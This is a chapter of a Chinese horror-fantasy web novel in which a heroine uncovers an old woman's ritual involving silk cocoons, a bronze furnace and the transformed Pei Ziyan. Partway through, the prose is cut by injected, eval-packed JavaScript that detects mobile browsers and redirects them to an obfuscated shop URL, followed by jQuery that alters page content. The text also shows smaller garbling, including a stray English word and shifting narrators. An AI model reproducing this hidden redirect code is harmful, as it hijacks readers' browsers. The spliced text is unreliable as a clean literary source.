“别怕,这是引路丝。”她拽着丝线往吊脚楼走,“让你看看阿晏真正的‘茧房’。” 阁楼里堆满古旧皮影,所有皮影手腕都系着红线。最惊悚的是西墙——整面墙贴满民国至今的报纸,每张报纸的失踪人口版面都被红圈标记,所有被圈出的照片里,失踪者都戴着月牙形饰品。 “你父亲很聪明。”老妪指向1986年的《湘西日报》,“发现铜雀炉需要七个‘容器’后,故意用错生辰八字,让仪式永远的卡在第六个。” 报纸下方钉着张泛黄照片:年轻时的父亲站在考古队最边缘,身旁是个戴青铜锁的苗女——正是眼前老妪年轻时的模样! “但阿晏更聪明。”她掀开地板暗格,“他发现自己既是‘容器’也是‘钥匙’后,主动让蚕丝符引你过来。” 暗格里是个玻璃标本罐,泡在福尔马林里的赫然是人类的皮肤组织,表面布满与裴子晏左眼相同的青铜纹路。更可怕的是,那些纹路正在罐中自行生长,形成微型铜雀炉的轮廓! “这是?” “第一代’裴子晏’的皮。”老妪的银牙在月光下泛青,“景龙三年被剥下来的。” 她从陶碗取出裴子晏的皮肤碎片,按在她锁骨胎记上。两者相触的瞬间,碎片边缘生长出银丝,与她体内earlier的丝线完美融合。一种诡异的通感突然袭来——我‘看’到了裴子晏此时的处境: 黑暗空间中,他悬浮在蚕丝组成的茧里,青铜化的左眼正透过茧壁‘注视’着她。他的嘴唇开合,传递着无声信息。当檀九重集中精神辨认时,耳边突然响起他带着笑意的气音:“学姐...显微镜...” “什么?” 幻象消失。老妪已经退到门边,缺指的手握着个老式怀表:“子时三刻到了。”她指向窗外的古井,“现在看井水。” 井水在月光下变成镜面,清晰映出夜空中本该存在的北斗七星——但第七颗‘摇光’的位置,悬着个巨大的蚕茧!当她的视线聚焦在茧上时,口袋里的皮肤碎片突然灼烧般发烫。 掏出的瞬间差点惊叫出声——碎片正在纤维化!原本柔软的皮肤组织变成交织的丝线,在月光下泛着金属光泽。檀九重急忙用随身携带的便携显微镜观察,镜头下的景象令人毛骨悚然:这些‘丝线’呈现典型的DNA双螺旋结构,但碱基对排列方式与人类完全不同,反而接近...蚕的丝蛋白基因! “‘以形补形,以魂引魂’。”老妪的声音突然年轻了许多,“这是阿晏自己选的化茧术。” 她扯下头巾,黑发间竟然缠着青铜丝。那些金属丝在她太阳穴处形成微型铜雀炉纹样,与她胎记下的青铜镜面遥相呼应。 “为什么帮我?” “帮你?”她突然大笑,嘴角撕裂到耳根,露出的却不是血肉而是蚕丝,“老身只是在等第七个容器啊!” 整座吊脚楼突然震动。所有皮影立起来,红线自动缠绕上她的四肢。老妪的皮肤片片剥落,露出下面青铜与蚕丝交织的躯体。她心口处有个锁孔状的洞,形状与裴子晏留下的皮肤碎片完全一致! “当年你父亲带着五个同学来寨子,只有老身看出他是檀氏后人。”她的声音变成男女混响,“现在该完成三十八年前中断的‘七星引魂’了... ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116069|185250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 铜雀炉碎片突然从井边飞回,精准嵌入她胸口的锁孔。檀九重的胎记爆发剧痛,七根银丝激射而出,与屋内七张最古老的蚕丝符相连。符纸燃烧后露出隐藏的文字——全是‘裴子晏’的名字,最早的可以追溯到民国九年! “看井!”老妪厉喝。 井水沸腾如煮。七个蚕茧接连浮出水面,每个茧里都裹着个青铜化的人形。当第七个茧出现时,我终于看清茧中人的脸——是不同时代的‘裴子晏’,而最新那个茧里,现世的裴子晏正用仅剩的人类右眼凝视着她。 他的嘴唇蠕动着,通过唇语我读出一句话:“学姐...割断...红线...” 军工铲斩向手腕红线的瞬间,整座村寨响起婴儿啼哭般的尖啸。所有吊脚楼檐角的蚕丝符同时燃烧,火光中浮现出无数人影——他们全都保持着向前行走的姿势,每具躯体都由蚕丝和青铜构成。 老妪的身体开始崩溃。她疯狂大笑着扯开胸腔,里面没有心脏,只有个微型铜雀炉在运转:“晚了!蚕丝已经...” 爆炸声打断了她。井中升起巨大的青铜蚕茧,茧壳透明处可见裴子晏完全青铜化的躯体。他的左眼与铜雀炉碎片共鸣般闪烁,右眼却流下鲜红的血泪,在青铜脸颊上冲出触目惊心的红痕。 最恐怖的是他胸前——皮肤完全透明化,露出里面精密运转的青铜机关,正是铜雀炉的微缩版!而炉芯位置跳动的不是火焰,是我之前给他的那枚‘人’字铜钱... “学姐...”机械合成音从茧中传出,“现在...把皮肤碎片...贴到井沿...” 檀九重冲向古井。老妪的残肢仍在蠕动,蚕丝如活物般追击。当裴子晏的皮肤碎片接触井沿青铜砖时,整个寨子的蚕丝符突然调转方向,全部指向古井! 水面浮现出唐代风格的壁画:穿道袍的方士(那张与父亲相似的脸)正在将孩童推入铜雀炉,而一个苗女偷偷割断其中两个孩子的红线。壁画角落题着‘景龙三年七月初七,盘瓠裔孙阿箩救檀裴二童于火’... “原来是你...”她看向正在消散的老妪,“第一代守茧人...” 蚕茧突然裂开。裴子晏的青铜躯体站在井水上空,胸口铜雀炉投射出北斗七星图案。当第七颗星亮起时,寨中所有蚕丝人同时跪拜,而她的胎记中飞出七根银丝,与裴子晏胸口的铜钱相连。 “契约...更新...”他的机械音里混着本声,“学姐...这次换我...当‘器’...” 铜钱突然从炉芯弹出,在空中分解成无数光点。每个光点都落入一具蚕丝人的胸口,那些躯体随即化为灰烬。当最后一点光落入古井时,井水瞬间蒸干,露出底部刻满符文的青铜板——正是铜雀炉缺失的炉底! 裴子晏的青铜躯体开始崩解。在完全碎裂前,他朝她伸出正在剥落金属表层的右手,掌心躺着一枚蚕茧——里面是缩小版的人类皮肤组织,正随着呼吸微微起伏。 “下一个...满月...”他的声音随着躯体一起碎裂,“带着它...去...” 黎明第一缕阳光穿透雨云时,千丝寨已经消失不见。檀九重站在荒草丛生的山坡上,手中捧着那枚奇异的蚕茧。口袋里的便携显微镜自动对焦,显示茧中皮肤组织的DNA正缓慢变异——在人类基因链中,精准插入了一段蚕的丝蛋白序列...